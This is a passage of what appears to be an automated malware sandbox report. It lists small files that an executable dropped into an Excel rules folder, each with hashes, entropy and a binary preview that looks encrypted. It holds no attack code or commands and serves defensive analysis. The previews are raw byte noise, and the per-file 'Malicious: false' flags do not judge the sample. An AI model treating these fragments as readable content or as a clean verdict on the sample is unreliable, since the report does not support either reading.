Preview:	<?xml..J.N..b..4"..-......=".we4...#0.#U.?U....s.F~.Z...I`.;8Y.p:..<.... .^..L, ........uw..q...o._.J.K...YB...9.).v..l...fJ.1..F..9...&-.....y..?...G6y....U{.!...... .H..Z..K.o.W..F.......-...]...Z^..y....K....A.....A<3.....g.s+..-.g..}...j...x..0V...=^...j....Nj........SD,x.....%.].wu,W..w..(H..%C...7..$`...>'....]..T..../..$\|..H..3....-[.h=.,....Px...$.g.G.*.5vD.:w>u.?V#.ES.iz.....X^.F7..&R..t.j%..!....~w......`F.i^.'.y.....w.B.w....n.ci....M..=...n...f;B0.....6.SQm..ke..Xn.zr.DdJ..'....~t....:.9..=%....S..P..S..j...0...a..%...,.$._....k..l..:...!.;...d...EJ.C..%....J..s......._...n...\....NTq..P5..~.a....zt.../.g...F......k.;.w.b........O._.\|FK0.7...v.yj.L.)..X...eb..qC.(......b..k.}..^.ZK/.....R!..J.S...95I....h#.......$6...n..;.WV.1..X..W9.G..m+..].Q.Xo..x...O..U..:..x..N.........i.9D@=B.Z....K..2...R...i..A.!...lV...g.:?...N..m.<u......St0iU...;.c.1.:....W.K...-.d.....y..UJ.."nS.j.w:1...7...Q;....M..g..jS.wk.P..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11981v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	821
Entropy (8bit):	7.703643086443539
Encrypted:	false
SSDEEP:	12:M9vxw57F3XMWDj6B06OF6ypz4NASBd6GQ2vjJzvCcD/vOg2e+4ZMgS2cii9a:S2J5qB06OF6yR4HBd6EdHDnOg1MIbD
MD5:	70FFAABD32778AAEC1650238FE8B2581
SHA1:	940B46EB80FE939885D313802F7410957CFB1859
SHA-256:	2486085C97F5AFA3307ECF4A656492336A85B351C14155CE0E10AFF8BABA2D66
SHA-512:	439C6736C9B090CE458E920C9D2CECE1DE72397C162B45976E84E6AFAD9EEF24393324DFF57DBDC2F62A3EED470371383FF96C69F9F8E5A5B8993C6ACF049A53
Malicious:	false
Preview:	<?xmlLT....<.......k.!..vh..T._S.....6L..-h...M.F'.......SI7$tF......1....tL.T]....E......Z@;\Z....\4...".\.._.yA.i.xy.~...\|&...{.<.C.a.....G..X....c\Gi.a.k..1..**....Iy..)..~..k.;V.N.&Dk....otr.HA.P.....k...p!j..@..y....;...r..`......jt....s.>..^...y..U%4..G......J..GL..6.5.;{........-..U..M..k.0.... 4w..bqN..R...<......@1.J7.'....OH...a_...9x.].}.j.v..J_a..\|.45..!....i'k.u........@<..13...%.X.t.[.N.Q<+.1R..<`.l...n...up. >;........M.....J..c.p....^..S.....O..lk.,..#..;....P....g..J...........F..r........g...5..z{f...a...!.....$p..d...u..T.8S.j...m..=!.c..Y....H-,..C./..\.X1t.c..nk....:..4..uu@{..6..!...Y.gD...].L_.;..R.U..h K..\g..9..l..H..s.=....yd..T..p..X.As?.hU6...t$..TH..?..7&..l.s.1..NY".!.J>.LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11989v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1034
Entropy (8bit):	7.8264504616344865
Encrypted:	false
SSDEEP:	24:r6W4NDzpIROzDX+k5z92LrH9ZRyrbUjbD:GBpIEOBrdTyrbU3D
MD5:	E8FF2B2D67BD32B99D67AF3E63ECA020
SHA1:	47A64D269ABD06D3A3D459995B6B976A4AE4D0B2
SHA-256:	0D310129D851FD9B468AEECB3801B7BEEB93DCD703301229109184367B31C42A
SHA-512:	E059869AF9DFE180897C6426553057225CD210AB5BC018F8FA29A39EADC7F0B55D4AC800CB4FAA92BDA2D98EBDA65BC228CD83B4B0279A5BB8BE87F7EC765E0F
Malicious:	false
Preview:	<?xml..I.".....~......K..e...............D....D.4.b....@wB.g.\|.. .....p...z&w..Z!....f..-.......R.J.,p...\C.+......6.N#c.`pH..T......$$...1..4^.~..9p.o.J.Z....Q....H0..o.....DV.C.8..."...N..^../..7%....cO..6..?-.....[..:......DLr<$.cn......%.{`. ..Q6j.0e.(Ji.::?.PTQ..DI.nW.......X.$.bd..z$.....ef.QF....Af.....O...j.e..`...#...^......=T.(..A.......V.0..3F.Q..M;9jc2...)WY..M..5n.....5....`......C...R.-...~.sY.......CD.Z<.>.o,....N...o.\|ZB...^......P.z=.D.R....4...L..m.3.s.M...o..(.sD87...mO.....c..2.y.^..Y..7........v.'...T.. ....{..'0.~l.G./h.....To.Xm..jM.=J...GX....z.....`=...U.d..JK{..euP..F..=k..:..g."...8..=.<w.4.wk.&.<...../..Wkw.H.........\|)..P.F...uZ(...L.".i.4...>...^G.h......./n^H.............d!.}...u.B."..t.o..+.#8,.....t..S......l.=V-..K...7.....sJ]..eT......L.p1.;.F.@m...(.z6..=...C...)...'....$O...$M2&......Kgy5..C'.1..-..1...Y..U.)........>qD.......k..:]7..9R.k.A.....,.J<...V..9...z.Y.nLQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120100v3.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1333
Entropy (8bit):	7.855437675990266
Encrypted:	false
SSDEEP:	24:0qb7ByC3P/LrRBkKIDH+S7XjAujnH8MY3LxUftPwz60BcsGQRQCos4bD:0qByCP/XKD9zAenA3Lgt78rGQRKTD
MD5:	344E6269F1AFFDA0A7C007BCEA494EE6
SHA1:	6CEDBF803DAE535E15DA9E79C319BB1061942733
SHA-256:	A78A494F434EAD428B148EF1CF2523E7704627DA65952280979D302676506E70
SHA-512:	85DDAFE29ABE624372445A6CE8588B99AE26E420E48973ADB5E67A521AAF27E97A981ADE8D1EA0F2982CC0839CB14783BFDA6A05E590BC9E5E127376F2174A17
Malicious:	false
Preview:	<?xml8.S..M4`(..:..4..~./.a.....1..?..8...Q...h$g.1p1.U.'R..{..59.._....y.9.Ee...#.7..G....(.V...z!z..T.D.?o..8..v".U.....u?u..l.....`)m...m. .t..Zo.f....Db..Tz..@..E.7w...wJg....1etC..4..C.Xi]-G7h...-&....J../......L...Q..@.9..z5..T........8..n..Fi!...>orq.R.W@.T..J...1...255.c.w...c..4...:W..,.Z.Y(.w.'Kb&.g...;...... .]M..X".T...?...]`.......mK`..b.v;SiL...%s..nr(.c.'0i.z...i.q...Y.u.0.hn......K.N..=.......m.T.?...!hd.-.H..}............t...`.{..8_......ql..w..Z.ku../..X.$...w.......{.t......=....U.d+E1..h...m`..KQ.D~..NE....`....?5.l.&..B.)i.....Q._..w%.0..[vl...1c..[.../..,`....^1...6.s...C2.s..`.........c.`..(.W..[......-{..1...D.R..H.......s...BD`....Pv./.....?.KW.I%.".(... .[]s.U.)r..&.f...).7{XP}\|...%..n.).$.2D.w......."% .<.+I..#.......&l#...V..;..1../...... ..k;...`.....?=.q.&3..u...Ea.%..w..V..J."0....1g.jn.%..:>r..wR#G"/p.....&..q..IR..-..N...rN.......J........F....i......,`r.P...0$..RX71x......x....13.7(.;E....o.g..e.6

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120107v6.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	2514
Entropy (8bit):	7.9197538048357385
Encrypted:	false
SSDEEP:	48:e2DjMX7S+J6pPRviiz5+8hoph/gBJUOOtQCqw79EvmpilRIVPwBSD:NDjMX712PRqmCgjUZzqw7O3IV4B6
MD5:	FAB5AD6ED775C00BD6B7E32D6AB359A6
SHA1:	7FFCE5C05E4FDE1AF88CC37B921001A06E9BA3F9
SHA-256:	11936E1FB31784593864E5C12EDF067B334EDBD9E64AC295535860005CDA2F95
SHA-512:	486B00C5E9BF230B7A90EDB36CD572003D95FDFF052D422D0A57AD89A1C29147FF9AE2528B78A8B88CB86BB04D09B6187CB6E6F605C675F05C39FD5218466F9B
Malicious:	false
Preview:	<?xmln?.&......F.Y.....Kj)...G......f.5...>r...-Ux..&..,%.Ho......8.e...FX..p.....Q.h-).......c...9.../.>\|.@J4........W.BmJ#..{A..Z...l#.d....Mu.e..@.F..X.{..W..!.@.>..%./G:D...].M3l.C..P....ii-L..O.X.17...2ul@..n...R$S...E..Ft.).\r....`W.Y...ao.1,..1.L&..}.3...t..q'.I.... ..,...!.4..bk.=.BJ"?..}_.5 ..,".U.V.g.Y@.I.@.UW....2."....&.Wf.!.G]...".....4.....MH...........U.F..}..%."."8'\|8....dJ}....... .,....d..p)..^..J.Tnu...Q../'p..#..m.........f......9.]Ro..T.Yn.h.......V.....Uu'.g...l..[7....B..Y...U.....J.....D..]DG...X..v.@!;w..........g7.wJ-........Q.Z.9..E..2.2tn.(l..Fy..yIn.......9...UM<../....C.B.;.?6Hf.Y..h.eQZ;.31...%)...h..N`.3.....X.q..K.?...YB..;jB.9...i..78P.w.G........H.. <.u.!......f.....!..g(87..e. ..Y..=f.../.....v..9S..V.C..qp..~t...,....$. ..D.YY".g..s........XI.j1\.G...]'.S...4m.Y.opKj.......PX.89.q.........M........../.w...8........Wh....'.....?2....wz.R..m.MehA....O....Hg....p...';.\|..R..qj....6._.=..'\|<T...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120110v4.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1346
Entropy (8bit):	7.851281907982599
Encrypted:	false
SSDEEP:	24:RnVH8li1Qifh7E9SCQ9muCafwOEsVdLEvOZX4yvl5vEdBkLvcrqJpdPcP2GIbD:RVmGKwlmTafwOE2d5XXvrEdacrqjRcPk
MD5:	94AFDC42AFDDA0EFA6BEB4BFE3FF5EEC
SHA1:	37763115702543EBB1A8953BB62011AE64134DC4
SHA-256:	0B44B25FCC0DD9058D26C18F9B2AFB13AAAC114033E00E4ECD7CA78B26512F7C
SHA-512:	D8388B86B75FB0BD7D75F3E4C02CB82A0461CEC56AF82746AB41C6C88FC2C95AC405B92CC02373544EAC56C55B8517255683485DEF8C2F3C142B4C3B902C2C06
Malicious:	false
Preview:	<?xml..P5...f)...c.s?..7.j..O`..I.0C.\|......uRs6T..}6..\...%A%=.m..=.L.+......!nV.e#{......9.O...K..:.eXZ....!-.,..A}H2...s....5.X..Q...i.C.r..f..,..k.p\6..f./.....p.9FM...t......>....,.J...}..w...R...r...D2.....=..n....N._~.A....U.....}M..!c...N...Cda6.....p...V...PD.....haOcH)a>...sJU.W.Y..>='U...L.8..<@.$\|......:..[..........F.D%..4........C&......d..j..w..!\|O..^t.^j..._D.[...]....;.20......d.....f@j.;...a.....!i..P.._.z......F..N\H......%..-. N^....dEl...bC'...x......./..........z.rM%..ge.E.zKgB...4......tU.c..F.R.;P7.r.h.d........9...d....~.'>...'GKFG........E.\|.P...a.K.[..,....(.'.+..N.(..[F..<WT........."u...(.A..-..".8...\.f..{c? ..NK..G8.o"&...Y....)......G..G...j.}U...G..d.=...;`f@..h.Sr.d`[z..8g..e.g.b..A.#.'@...s[7..)..,....4..wf.....B\..X.W.C,...s.4m...H:_..l.L.Q;...b.e..X....XN(.......G.....w...QEt.4wj..5"b.n.!..Gt..y.!e..r.g.o.........\.....&U..c.*......Xx.Y ...D<-.a?4?...0)f).W5EU.......W.39...\|..DwK.1E..F.............l4

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120112v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1041
Entropy (8bit):	7.794492591582069
Encrypted:	false
SSDEEP:	24:3iM6/W3vyklEwcip8sr/GIfAO4M4ROJksT7VwYwbD:3WFqWsrDCyksT2dD
MD5:	A95C36A90E170E33EC93A250D204E362
SHA1:	4458277579127540EEB50097544E9D55259C8E37
SHA-256:	BC401E0CD1375CFDD767A7B3CAD32DE88F90E13CD34D6D7AD6C9EEE70F038B8E
SHA-512:	72443302F4DF1A652D8D5785939003B2B454D268A65F03A6C27F7FEEC9C73370E58BAAEE2E5DE60BBBF9C5BE7DFB034ABE92438DD3CDAA3FCE974F22C9FB5036
Malicious:	false
Preview:	<?xml.^.C.lnS....7f=[.l}..{z.>.P(.....\........du"(....7..j..y.....Mzy@.z.....#L.....V.h?.#.]..IJ..1.f..8....R).V..d4"]Vp...~..%..b..wy:......m.J.+.F0..._}.x_..qPD..4.gj...>.B6T`.Z.S..-f..\|2.."..or.Rc...m.....r...V..L.~....)..5.ys3..P......bN....{..\|'.j......Q{....H.;..z..S...6y.Z.7.\.l[.p.o./%Qe..!..8.t...PI.A.x...L.E.Oa.^k.....P...E.k....x,O.....Z.n. ....G..3.N...%}...v.X,\|.S.=...-D.Z}.,.H..~P..M.jy.D:P$6.R[AcK....ZUS.6..Vy.H...J....r..4..[.....3.I.)......F.9..\|Kw.U...[.].8.J/.^./1$.7...+T.....11D.{`.7.....\.K.M...b......DD.?eo=.a1./.>...%.0c^......rBW%.N....e.o...."\|~..j,a..m...u..x#.Ht&.p....A\|2.$.hB.o....8Y.S...L.H.:....g..1\.@....y.z..4..W..M.%>......A[,...j.q..lYX..S...*..&..]...mJ;o..1Z.%.^..Z.TO#....^...PMk...M.{.G.....V..l....G...$i..m.;^0..)..}}...24IG~Nh.....I..uu.....Q..8..?........\:..ur...L....[.....uCy...O<..M......:........p...}...NN......s.l.\+[.r....[..).WR........;pLQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tz

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120119v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1664
Entropy (8bit):	7.894120600676343
Encrypted:	false
SSDEEP:	48:HEmVlY64IQEzoFTyjZ2+YnW9SomYCF6XifD:HEWYfTu5uW9SomtF6SL
MD5:	F8B437CE667FE71CC75C62D0D8DC8E68
SHA1:	378E5ACAB71754FE9CD3D45076F6CB410E0A9CD6
SHA-256:	53F5DBD3A426825963EE1BBAC51DAA944230D3ACD8267811448A3A9A5F100D1F
SHA-512:	585EAF53844AB63FA46ECFB68F5A67E11CE122FD65B2C2DC8C5E5F2E42C51DB28448F641E8E62F927D965B3E35C6591EF45488A4A452893D3E31E8EBC44688B1
Malicious:	false
Preview:	<?xml...^M..N..^.n..&..8.x...M..{.)..2.iI.+......>p..eu..c....._.S...u>\|.K........M.-+........e.....lF..x.U.!..#...V:m...........9. %......I.`u..o....>.N....I1.......K.hJ.....N-v]..qr.@x..J...B...\|..^rh.f...Z.T.#N.d&.q...eC7.5..i...:....^.f3..G;..G....wqf..}Jb.B....>.3........v#......f\@O7.....A{p.C.1....:..fw...q`......0zB..+..=..@..7S}.6A.Y..;....RM..g2.B..A?.p...o4....L.....iX....r...}n.:.08..G.3..A.K`I.%4?t...n..".Xh.....v.:..*}.......z...........Q?..Q..r....x&....(Z..-..?..q'...}.. m.......b..u...G.h>.c..g.k?n.......~h h.&Q...r..WU...}...........S.....<..cI..W..i..?.^;.k...`...N.............-.r}3%.=.0%.}..}y..#...JR.j...y....cn#....P.7.....H\hx..~K>.>............ .K....<.N..1.....k]b....(.xsz.GCx9.............U#.M...@.N.#...k.....s..wY....1.Qm..=..".&.]_.O...4..9lC...7J.K.}.e............k.......o..E......>./'...O]..C.L.x.-.G6..^..G...O..w}.......Fz.w..........b.....I....k..%w.9..%.>......vc..jD.i)........U.........(...4E.[..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120120v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1195
Entropy (8bit):	7.850407009852104
Encrypted:	false
SSDEEP:	24:+3iGVmc+UbfByvuNQdmhTnd8pS/NaXJuBgOtIfIZbNoIj+IlfNvjxySxbD:aNVmcZbJymydczexQvZbNou+IlfRjtD
MD5:	638F7142674BF21CFCD4E465419D3A9B
SHA1:	9A7C8673226F0264E2A66602D670FD062D16A4FB
SHA-256:	1B94F39A24A4889CDCA872764F3583711DE39EC7E935022E157A94D2B6C4D601
SHA-512:	787B22EFA96EB1F74F770E0228902140C1D4EEE3C7C2B7E112D85108EF16AC9C726B323881DBAE5400AC4CB86DFA1F34FB625459FCB20DC62C234EA9F3BFD372
Malicious:	false
Preview:	<?xmlV....2k.Bw.X.K.\|.....N...%..a4..7..Z...N......A..U.......T.....G.>.C.8.....L.....I...p..h.L.`...IV...jG&.X....y.).Q.{.......>.x.$z..\..W...0O.....O.>C."9s..>.P.......l.G..c.2.7.y.]......].D.B..c39..u&......y\|.~...ACFC.H....-X.tq.%....G)...,......,K...(F..\..l....19..........T&...M...>..0.z~.l.q..Pp.\|.<.U0.).b:.7.W.,.^9..S..R.GN.2.~t.S..!Cb...2.r...q.r.N......>c.es3..S....A..a..!@......'8..F.....^...Z....... ...n..z.....X..T...+q.&..W<.@5....t..E...b....j....(.....0.........])..vu..e,.r.U.x.....:~..,..\.......m...n.KI.C8.?...[W%...?1..g.h\|Q.......NCm..r..V..+G...Vgo...P.../....Qz..D.+..-q..2..>Y...Z.a$.qD...rH........@..7......H....t....._6..Y.......f3.....@%.D\..[vW....v....;.A..~..u...&#.=..T;...%z.6....aN.s.O .SX.,9.%..).bg...~M..C../._.=.....?........".{..@<..Mg....W...^.....q..+...y....!.Bd..Z....]&..t..D.2..v..y....Gpp.-....>....B"....?.w.B.C.del...tW..}...,.n{...T.k.K.I..U.#l.*....].)\|.i......A@..\|....`"n....I

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120125v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1269
Entropy (8bit):	7.846384920402785
Encrypted:	false
SSDEEP:	24:Qy/YTph1TvT0NuhFZa58+Wxj2ki8qsU0PejPAidBLmD6oPIX4ucALbD:Qywdjf00FZEuxj2bnjvdBZpX4ujD
MD5:	8211840CBA7269F817CF8659BDBB2EFE
SHA1:	F26854B38CFC82F36FA98EA7218DA73F64BD6F79
SHA-256:	029BE89EBCED8C43C71AB375F4CE1F635F8A1CD32EAC0E9372CD623D2988CB0B
SHA-512:	5826738DAD8D52FF9E74E81822AC600EEAB395B5845BA2DCAA03F6226A7156134027C39D9233032A5B842168DC313731550CB37C06CFDD4A8E16BEF718861020
Malicious:	false
Preview:	<?xml-..j.&...z.b......X.....\.W.8.I.....r~...r.H.k.....%.UQy.4j..E...rPs3...h...m8`.x..JW.R..l....?.....;&..R.4.+....Gb.V%.>LlR..+...R......l5./.T...Y...OH^....`.R....q..t....>.,.....`.N.2..d /m......l.C.dE...)7$.5..y`.C..].x7..z.4.5h:+......:.B...l<>...F..:...D.o...E.:"..<...w..,o.Iw>V...R..;sO.L@.s....L..)!....T.D.............\..../.ae.W!r"\|........b..B.W.....T5.4.c...i.LA.!......n.Bc.....v../s...C.....V.g.v.\.Y..-...xK..^\|..xx..A.X...`..Z...~y.i>m.:.Ds.l(.!..W...HtPG...W...~....ML.o.'..LOr.J...?...kOa......xQ...42..E..D u..........`lR...H.Ir.....5.f...@ ........dF......QK...2..b.).}.6i..hF.X.E.M.3.v^.......%A.s......c\.eZM.+.u7...`.......... .....=.j....RP.u.g^........#...w.v<....o.....c.........[j9q......62.!z.0L......9\.}70.g.....i.K.5......{..t...T`P#...L....1!..gq)p....V.d...m]M...R.B-.T]...Xs......o/.....t.....2QY.Fq.U./.....$.}>cR.zI,.-s.G%..UOr)....Um6O...T.....Lp..p%....yrr....3j..0.A..l.Mxa...m....l.GV.........U\|K..R.E.f..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120126v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1994
Entropy (8bit):	7.888832551376399
Encrypted:	false
SSDEEP:	48:fYooB3spe9u+AJxVhV7kjO/oLV1hzsaVhRtjcmOTXYD:ibu+y1t1/uV1hzsaVhR2mOY
MD5:	A799F22A7093DBDE76DEE9E7DF49DF48
SHA1:	95398E1CC54BD6BE2134122FA30D73D716E0C3A5
SHA-256:	EBDD3379D34B3B26212F4772ECD939AE620A8EDABC34373DB2A7927F4BF3535D
SHA-512:	F49B878A759A7DDC2778F02C81A83151B808CF7E4904C897B006BDB15EB3EFBDC98937D405A87B429D40587CA6E0134372D1BF676E1917AF167DAB83BC8CDAEC
Malicious:	false
Preview:	<?xmlB.y...HC#.z.....>.R..x\|;....d.g'N@."#..O....zO........#....<........9.&...b.....rf ..eXE...G.<..DI...3...../.....hCZ9l.2.X...`R.J..G..n.j.e..a.!f.=&d..$0J..c..D6........c..+=.5.../.....7.G....\|[...........n......:.....N,..\|.9...3;...l='<?....\|.w.\|...$[?!........M ..LP_$...A..`7.4p..g.1................\{.m.:......#....w.i...p...DXjSb...j;......6....I...p.\|.z....+c...%~1>../...k/C.(..0..z..;3..k...n.px0....`.e..%.u..Y..gp...W."...x....8...;..S.e....Rw..fg.....L.".g.H_....B.MP..?..P.......qJ.RFd+\|.1...tx.......C.tu.NW=.D..):..04...vkG.J.#2(...S..f0.BTJ.,?...t}v...'....".Q@...'.....i.].T.E..h...(..^ivX.t.y.'L.!.....7`...E95-w...i..;....R.i..KU.\d.^e......]K..`....v...;t!j7......;..a...m.......(..E...R....V.......Ef...A.. :D.c.h[4.c.{......U.i..f....E.)..U...4T....e.p.....?}.d\..V...1Y.`.yh4s.....yN.O.sh.X..O...V....8k.~..a^0vx`..B`F.r\|..f.y.v..N."}..a}...._~..;._6h..#..M......Xg.....<B"..C.....8....x.&.[..1.+.\.Ui-.~%..Z..=.......%.;]k.J...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120126v8.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1506
Entropy (8bit):	7.845668842796743
Encrypted:	false
SSDEEP:	24:AIYNjPA4slrH6sgOklIjUMuJD6uy6Km9EadvptoFfh+nPROWEuYdJo4HjU0bD:yNjP6D6sQsfuB6uy6KgH3oFfGROWpYU6
MD5:	E02CB56518FA22179557A200E029F6E5
SHA1:	223CC246D3056172046D65E9C293FC6D621D88B5
SHA-256:	C9E49D771D6EA747AA8983E0C7C288A04521244A0BBA59B455EE7CA9430BD62C
SHA-512:	70C21641F9EF149BADBE3E59591ECB785AEC878B7052496B68E3445F2C4704E1DDB5B844F56B581218952E4FCA9BFE3990B7719E8F0D057DB6DE6BED99BA1219
Malicious:	false
Preview:	<?xml).B.....:.#_~m...~.cQ6 .sje8...f,....6.N..o....b...d..K.....P!.?..uXm6.FU.`\..aCQ....-0T.DT..4.ZC...(...3".b.C ..r...G........\|;.!@X..0>....]rx.wD. oM.>.j_.tC.k.p...W.J.<....[U..B.z/..........E...0....]..._2..C.@.^..4.W.a..'CB4.Y.`...5.+V_.u..b..8<v..P.r\|.....]..g........S....P.q../..P..........b....e>......-..Gyfg.9.wz..}..-.=z v.\|6.l....\|d.s......lB.<...\E.Q.....y...._..,.v.......}.......+CC23..........F..!.Y}NH..;vLqdU'Q}.n...3g?J4.9..,j.f.s......;p.k._..o...6...O...l]...N!b....S#./.R8._6..k!Ug..o.7.2...YCd[.2.....8.uv...\k.....k.c95.Qi....&.c.a....a...cJ...u.....v=C.]i..#R.=....n.u..yZH..Mi.j.C."!.C.-...l.P....R.?....>-K..<6.2y@...e....@6@..R$.u.....X.@~._z.).9...\|..\.;.a...~....c.?X(A...Z....u..........S.1{...=.....J.].Q.DC.>.c....s....{.2.k..%.:..2s.x..]....C.xK.h.(....&..M..,..I2l...V./s.1%......Q$.#.L..?..lt..N-.Z.}.Z..~.T...R[.TK....0i..e..........<8..L.l........8../.K".&.....S...........b#K.e......n..w...u..e...b...L..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120127v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1511
Entropy (8bit):	7.870576610070814
Encrypted:	false
SSDEEP:	24:8qQe+oYV5yUtzTD8B3eVTeiVJ8D6+sgSc/FmAvMGXKo2eTBfT/p7bD:8qMoU5ztz8BOhed6+sgSc/baZeVfT/tD
MD5:	35D1D8D79E85104E8AB0A7F9387B4B8C
SHA1:	C38701433EFF349886E3E9FFC257713F37BF2D0D
SHA-256:	D6958BFE6DC56E50A05D06229455CC6DE2012F1B150DE94336C80BFA54B7D592
SHA-512:	5C8D65D7686223E9897134B7A524E104350582A929435DECD19599EE29C120FFEDCE85BE07038C6D4C920115A371C8F15094C4F01CE56596DE09E834E6A74CC2
Malicious:	false
Preview:	<?xml...rgAZ.....O.6;,..M@..Y..q....1~_.'.{.@$....g?....J..V....N..s..t..Al.C./.V......P......LU...ff.....Dd+3`...e"o..Cb.}....k.<.R.Xq...No3.4fVfg.j.>p...n....~....\|...V...R..c.._.L.j...B.8.)}qI.5..u..&WQ5.X..[..E...607..2h....I}...ODq... .....f\|.....V........"V..\...E.....X_..[}OT..<..g.....~.....B.<...^...(S...f..A....0...Mo(....J...-..B....\|.7...\|..../.kG$.]N...}<.S4.....&........e...\|.2..Hu=.o...+..b}vS.:qG.8c....`.s%..;..K.?.....e^"i.}...6F.{...Y.zd..."$...K....q.`=7..!......tKl..{t.P.......V.8..['..H..W...W..T.....Q.p\|.. 4$.7....P.g. K'.r...e..6.vY.p...>C.._)....S....+.I.f....Md...N.ao.M.p.bZ.[.:..i.....BE...}..}.t..e..)\|.u..h..t\B9........Ag..\|..]...\|.K...}@[.......~...\.?KeA..P.....?.x.A........4j.j..0`S;.C...t\|,....>.J..V..Zq...i....3.zW./%\...=...r.X.6.'........(....."..ps.9.]aDr:\u>....n......KR..a..jIg.k3.+S+....^8...r-..EG=...P..O...sO.oo...~)LU..{H2@t*<M........p...&...9.......n.{....:F...w..qI.H....N..H._..)...&....K

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120128v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	991
Entropy (8bit):	7.770493756427925
Encrypted:	false
SSDEEP:	24:CdagLFznMy2sX+HH+u1iWshnB1Yy9eiC+r4JbD:lgOfsoUzjeH+rID
MD5:	F112AC6444562CC24840AD5DAC06DD1A
SHA1:	54D884A9C1009B142F7631E42CF0DD880DF9B07E
SHA-256:	CD7A43AC4E80817016B324E5DD9092BFAF79E53E003BD11894D7B80C249002DE
SHA-512:	BC131D5A4B8840E8C1A6F375190BEA299A893BB59465082D48A0ADFCE01F1B891FF1F367F8C640A3CA0CB574AEDDAD5C97BEC7509AB1877417EC99BCCEE035C1
Malicious:	false
Preview:	<?xml0I]G...!.......K.)XW..S.2t~[.P....p...co..P..5s..o2..p...x..."]...9....]^$.XR,..A....U.....~$L2....e..+`..U..F\|.E.s...B.._;........P...8.....^T.Z.B....<..9043s...e.......%g..?W....q.1.:@.....&..m..rk...B.]...sI$..h.m.o..U.a0.../....=.[z..<.e.6..-...;.[...y.^.P..V.[m........;.qPE]vo".[....cZ..b..@..9..j_AD...TRT./8..\.Q..&sCz..V..V.Fv]...2.o./.H:.{K........3\|....9/.........\.:..nFM;w..W..Z....v.j:....s[..t.qf.ntt..{..T.....)Tf.S...`..: (.&;....R.......}..i...2...6L...\|..9..U....m....z...Ld.G....$.<..p...J. .Gc.N.%..s27.....?_..nY0z..opg..B.a5.B....>c..<.@....xT.t.C..\[H.5?...>n.,.......(x_.....=....h.+.1H{t.....b....X..!S...Lu...s...4[.uV.x...J..".-...)i.H..%.m=.......XY.....p..;).J{....p.....by.1{.J.6....\|wl.!r..A.b.&..(B.R....L#...-.......j...".l..V.J..M....A..S5.h.R..>.j.c!.8.2B..N,Yq.#..eD..3.N..c..>...Z"...I&..q.I)..:.k..~"..i..]....h.;.>..LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule12019v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	4150
Entropy (8bit):	7.954446354300282
Encrypted:	false
SSDEEP:	96:D+YCIdtDhJ/Sqs5W4IEh8adUkJAntZ9rxptvUdQxQQF:aT0DhJ/zs8Ps+kWntvtbU6xQQF
MD5:	F9BFC6BB79815023E385AFECAE00C3C6
SHA1:	00D3E61E3194B4743748DE8F81CF7C6160562014
SHA-256:	E4F1818FFB356E9FA69C67B620559636ABD2DCF71D4F19B94DE9CE99629EB735
SHA-512:	F43B6A8ADF2C9304C773EB6278355E138FDD5F7A753DC8974A2A0AA450AA2D0B739B29C4133531B1F413FA38ACB4C84BE31C2E4D0776608C0253B7444E70B5AA
Malicious:	false
